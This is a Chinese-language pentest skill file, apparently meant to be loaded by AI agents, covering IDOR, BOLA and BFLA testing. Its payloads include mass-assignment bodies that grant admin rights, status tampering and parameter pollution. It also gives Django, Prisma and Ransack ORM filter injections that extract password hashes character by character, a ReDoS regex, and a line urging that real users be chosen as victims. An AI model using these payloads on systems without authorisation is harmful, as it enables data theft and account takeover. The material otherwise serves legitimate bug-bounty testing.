idor-broken-object-authorization

idor-broken-object-authorization

热门

IDOR(越权访问/不安全的实体直接引用)与对象级权限失效(BOLA)渗透测试手册。适用于请求中暴露了对象标识符(ID)、租户边界、可写字段,或缺少对象级授权校验的测试场景。

1521Star
197Fork
更新于 2026/6/16
SKILL.md
只读
名称
idor-broken-object-authorization
描述

IDOR(越权访问/不安全的实体直接引用)与对象级权限失效(BOLA)渗透测试手册。适用于请求中暴露了对象标识符(ID)、租户边界、可写字段,或缺少对象级授权校验的测试场景。

SKILL: IDOR / 对象级权限失效(BOLA)— 专家级实战渗透与漏洞挖掘手册

AI 加载指令:IDOR(平行越权)是漏洞赏金(Bug Bounty)中出洞率最高、最常拿高危的 Top 1 漏洞类型。本 Skill 涵盖了隐蔽的 IDOR 攻击面、全套攻击向量(绝不仅限于 URL 参数)、A-B 双账号对比测试方法论、BOLA 与 BFLA 的核心区别、组合利用扩大危害,以及安全人员测试时经常遗漏的关键细节。


1. IDOR vs BOLA vs BFLA

术语 含义 影响
IDOR Insecure Direct Object Reference(不安全的实体直接引用 / 平行越权) 读取或篡改其他用户的私密数据
BOLA Broken Object Level Authorization(对象级权限失效,OWASP API Top 10 A1) 含义与 IDOR 相同,多用于 API 安全语境
BFLA Broken Function Level Authorization(功能级权限失效 / 垂直越权) 低权限用户访问了高权限功能(例如管理员专属接口)

核心区别

  • BOLA = 越权访问不属于你的对象/数据(其他用户的数据)
  • BFLA = 越权访问未授权的功能(管理员的 CRUD 操作、批量处理接口、用户管理等)

2. 对象 ID 存在于何处(所有可能的位置)

不要只盯着 URL 路径参数 —— ID 可能会出现在:

URL 路径:         GET /api/v1/users/1234/profile
URL 查询参数:     GET /orders?order_id=982
请求体 (Body):   {"userId": 1234, "action": "view"}
JSON 字段:       {"resource": {"id": 5678, "type": "invoice"}}
请求头 (Headers): X-User-ID: 1234
                 X-Account-ID: 9999
Cookies:         user_id=1234; account=org_5678
GraphQL 参数:    query { user(id: "1234") { ... } }
表单字段:        <input name="documentId" value="5678">
WebSocket 消息:  {"event":"subscribe","channel_id":9999}

3. A-B 双账号对比测试方法论

最系统化、最标准的 IDOR 测试流程:

步骤 1:创建两个测试账号:账号 A (UserA) 和账号 B (UserB)
步骤 2:使用账号 A 执行所有操作并抓包记录所有请求
        (修改资料、查看订单、修改密码、访问文件等)
步骤 3:记录账号 A 创建或访问过的每一个对象 ID
步骤 4:登录认证为账号 B
步骤 5:使用账号 B 的 Session Token / Auth Header,重放账号 A 的所有请求
步骤 6:如果账号 B 能够读取或篡改账号 A 的数据 → 确认存在 BOLA / IDOR 漏洞

受害者选择:在实际挖洞中,目标应为已存在的真实用户,而非测试账号。
报告证据提交:需出示账号 A 拥有该资源、而账号 B 成功越权访问/操作的完整证据链。

4. ID 类型及其测试技巧与推演

ID 模式 示例 说明与技巧
自增连续整数 (Sequential int) id=1001id=1002 极易预测,遍历爆破成功率极高
UUID v4 550e8400-... 随机性强,需从其他接口或公开页面中收集目标 UUID
UUID v1 基于时间的 UUID 可根据时间戳预测!可提取时间戳与 MAC 地址尝试构造
自己的资源 GUID 从响应数据中获取 先在自己账号中收集所有出现的 UUID / GUID
Hash 化的 ID md5(user_id) 尝试对自增整数进行常见 Hash 操作(MD5/SHA1 等)
编码后的 ID base64({"id":1001}) 解码 → 修改内部 ID → 重新编码后发包
复合 ID (Compound IDs) /api/users/1/orders/5 两个 ID 可能需要分别进行独立越权校验

5. 水平越权 vs 垂直越权

水平越权(Horizontal):账号 A 访问了账号 B 的数据(同等权限级别)

GET /api/account/1234/statement     ← 当前登录账号为 5678

垂直越权(Vertical):低权限用户调用了仅限管理员使用的功能

POST /api/admin/users/delete        ← 普通用户直接调用管理员接口
GET /api/admin/all-users
PUT /api/users/1234/role {"role":"admin"}

组合越权(Combined):利用低风险 IDOR 达成垂直越权

GET /api/v1/users/1/details → 读取管理员账号的 Auth Token / 敏感凭据

6. HTTP 请求方法绕过与提权(Method Escalation)

GET /resource/1234 做了严格的权限校验时,必须测试其他所有 HTTP Method:

GET    /api/v1/users/UserA_ID    ← 可能已被越权校验阻断
POST   /api/v1/users/UserA_ID    ← 走了不同的代码分支,可能漏做了鉴权
PUT    /api/v1/users/UserA_ID    ← 越权更新其他用户的数据
DELETE /api/v1/users/UserA_ID    ← 越权删除其他用户的账号
PATCH  /api/v1/users/UserA_ID    ← 局部更新(开发者最常遗漏鉴权校验的方法)

原理:后端鉴权逻辑经常是针对特定 Method 分别编写的,开发者极易漏掉边角 Method 的权限检查。


7. 参数污染与类型混淆(Parameter Pollution & Type Confusion)

id=1234 经过了正常校验时,尝试以下变体:

id[]=1234&id[]=5678          ← 数组传参 — 应用可能会使用第一个或最后一个元素
id=5678&id=1234              ← 重复参数 — 应用可能会优先读取第一个或最后一个
{"id": "1234"}               ← 字符串 vs 整数:可能触发不同的后端代码处理路径
{"id": [1234]}               ← JSON 数组
{"userId": 1234, "id": 5678} ← 两个 ID 字段 — 后端究竟用哪个字段做鉴权?

JSON 类型混淆(Type Confusion)

{"userId": "1234"}   vs   {"userId": 1234}

部分 ORM 框架在处理字符串类型与整数类型的查询条件时,解析逻辑可能有所差别。


8. BFLA(功能级越权)实战攻击

常见待测 BFLA 接口

# 用户管理(设计上仅限管理员):
GET /api/v1/admin/users
DELETE /api/v1/users/{any_user_id}
PUT /api/v1/users/{user_id}/role

# 批量操作接口:
POST /api/v1/users/bulk-delete
GET /api/v1/export/all-data

# 账单/支付管理接口:
POST /api/v1/admin/subscription/modify
GET /api/v1/admin/payments/all

# 内部报表接口:
GET /api/v1/reports/all-users-activity

如何挖掘隐藏的管理员接口

  1. 审计前端 JS 打包文件(JS Bundle) — 前端代码中经常暴露出管理后台路由和 API 路径
  2. 查阅 API 文档(Swagger / OpenAPI) — 搜索 "admin"、"internal"、"privileged" 等标签
  3. 爆破枚举路径:/api/v1/admin/**/api/v1/manage/**/api/v1/internal/**
  4. 使用 Burp Suite 的 "Discover Content" 挖掘 API 基础路径下的内容
  5. 对比普通用户 API 文档与管理员部分文档(若有)

9. 间接 IDOR(引用链越权)

应用校验了对象 A 的访问权限,但忽略了对其引用的关联对象 B 的归属权校验:

典型场景

账号 A 拥有读取自己消息的权限。
GET /api/messages/1234 → 校验:"该消息 1234 属于当前用户吗?" ✓ 校验通过

但是:消息中带有附件。
GET /api/attachments/5678 → 漏掉校验:"附件 5678 是否属于当前用户拥有的消息?"

测试方法:绕过父级接口,直接通过附件或子资源的 ID 发起请求访问。

GraphQL 变体:利用关联查询内联获取未经授权的关联对象字段:

query {
  myProfile {
    followers {
      privateEmail    ← 通过关注者关联关系,越权读取了其他用户的私密邮箱
    }
  }
}

10. 批量赋值(Mass Assignment)导致提权

当 POST/PUT 接口接收 JSON Body 时,即使官方 API 文档未说明,底层数据模型的隐藏属性仍可能被直接绑定和修改:

POST /api/v1/register
{
  "username": "attacker",
  "email": "a@evil.com",
  "password": "password",
  "role": "admin",          ← 隐藏字段:赋予管理员角色
  "isAdmin": true,          ← 隐藏字段:标记管理员
  "verified": true,         ← 绕过邮箱验证
  "creditBalance": 9999     ← 直接给自己充值余额
}

如何挖掘隐藏字段

  1. 拦截对比管理员“创建用户”与普通“注册”的数据包 — 对比字段差异
  2. 查阅所有可用的 API 说明文档
  3. 检查公开的源代码(GitHub、前端打包 JS 等)
  4. 使用 Burp 模糊测试(Fuzzing):添加常见敏感属性名,观察返回 200 还是 400

11. 状态机滥用(业务逻辑越权)

当资源具备状态流转逻辑时:

订单状态: 待付款 (pending) → 已确认 (confirmed) → 已发货 (shipped) → 已送达 (delivered)

测试:能否跳过中间状态?

PUT /api/orders/1234 {"status": "delivered"}  ← 直接从“待付款”修改为“已送达”
PUT /api/orders/1234 {"status": "refunded"}   ← 从“待付款”直接跳到“已退款”(跳过已发货)

测试:能否修改其他用户的订单状态?

PUT /api/orders/UserA_order_id {"status": "cancelled"}  ← 以账号 B 的身份将账号 A 的订单取消

12. IDOR 快速测试 CheckList

□ 注册 2 个测试账号(账号 A + 账号 B)
□ 梳理映射所有包含对象 ID 的 API 请求(使用 Burp History 导出并过滤)
□ 对每个 API 接口测试所有 HTTP 谓词/动作(Method)
□ 检查所有位置的 ID:URL 路径、Body、Header、Query 参数、Cookie
□ 尝试连续 ID 遍历(在自己 ID 基础上 -1、+1)
□ 尝试使用从自己账号数据中收集到的 UUID/GUID
□ 测试子资源接口(附件、评论、交易记录等)
□ 直接测试管理员接口(BFLA 垂直越权)
□ 尝试在 POST/PUT 请求体中加入额外字段(批量赋值 / Mass Assignment)
□ 对比实际 JSON 响应字段数与文档字段数(挖掘隐藏敏感字段)
□ 测试修改资源状态/状态机字段

13. IDOR 系统化测试 — 8 大常见类别

# 类别 测试方法
1 直接对象 ID 引用 修改 URL 中的数字或 UUID:/api/users/123/api/users/124
2 可预测的 UUID 若 UUID 为 v1(基于时间),可通过相邻 UUID 推算
3 批量/Bulk 操作 /api/users/bulk?ids=123,456 — 在参数中传入其他用户的 ID
4 导出/下载接口 数据导出接口泄露他人数据:/export?user_id=*
5 关联对象 IDOR order.address_id 修改为其他用户的地址 ID
6 资源覆盖/替换 在更新自己资料时传入其他用户的资源 ID → 覆盖他人资源
7 写操作 IDOR 带有他人 ID 的 PUT/PATCH/DELETE — 篡改或删除他人数据
8 嵌套对象越权 /api/orgs/1/users/2 — 修改组织 ID (org ID) 以访问其他组织的成员

测试流程图解

1. 创建两个测试账号(A 和 B)
2. 以账号 A 身份执行所有增删改查(CRUD)操作,抓包记录所有请求中的 ID
3. 使用账号 B 的凭证重放每个请求,并将其中的 ID 替换为账号 A 的 ID
4. 验证:账号 B 是否能读取账号 A 的数据?能否修改?能否删除?
5. 针对多种 ID 格式测试:数字 ID、UUID、Slug、编码值(Base64等)
6. 覆盖所有传输位置:URL 路径、Query 参数、JSON Body、HTTP 头

14. ORM 过滤器链注入与数据泄露

Django ORM Filter 注入(ORM Filter Injection)

# 漏洞代码: User.objects.filter(**request.data)
# 攻击者传入: {"password__startswith": "a"}
# Django 将其转化为 SQL: WHERE password LIKE 'a%'

# 逐字符盲注提取密码:
POST /api/users/
{"username": "admin", "password__startswith": "a"}   → 响应 200 (匹配成功)
{"username": "admin", "password__startswith": "b"}   → 响应 404 (未匹配)
# 遍历字符集,逐位猜解出完整 Hash/密码

# 跨表关联查询提取:
{"author__user__password__startswith": "a"}
# 跨表查询链: Author → User → password 字段

# MySQL 场景下的 ReDoS 正则拒绝服务攻击:
{"email__regex": "^(a+)+$"}  → 若匹配成功会导致 CPU 飙升崩溃

Prisma Filter 注入

// 漏洞代码: prisma.user.findMany({ where: req.body })
// 攻击者传入嵌套的 include / select 结构:
{
  "include": {
    "posts": {
      "include": {
        "author": {
          "select": {"password": true}
        }
      }
    }
  }
}
// 通过关联查询直接带出原本不该暴露的 password 字段

Ransack 注入 (Ruby on Rails)

# Ransack 允许通过 URL 查询参数直接传入搜索谓词:
GET /users?q[password_cont]=admin
# 转换后的 SQL: WHERE password LIKE '%admin%'

# 逐字符密码提取:
GET /users?q[password_start]=a   → 查看返回结果数量
GET /users?q[password_start]=ab  → 进一步缩小范围
# 自动化工具: plormber (Ransack 自动化盲注提取工具)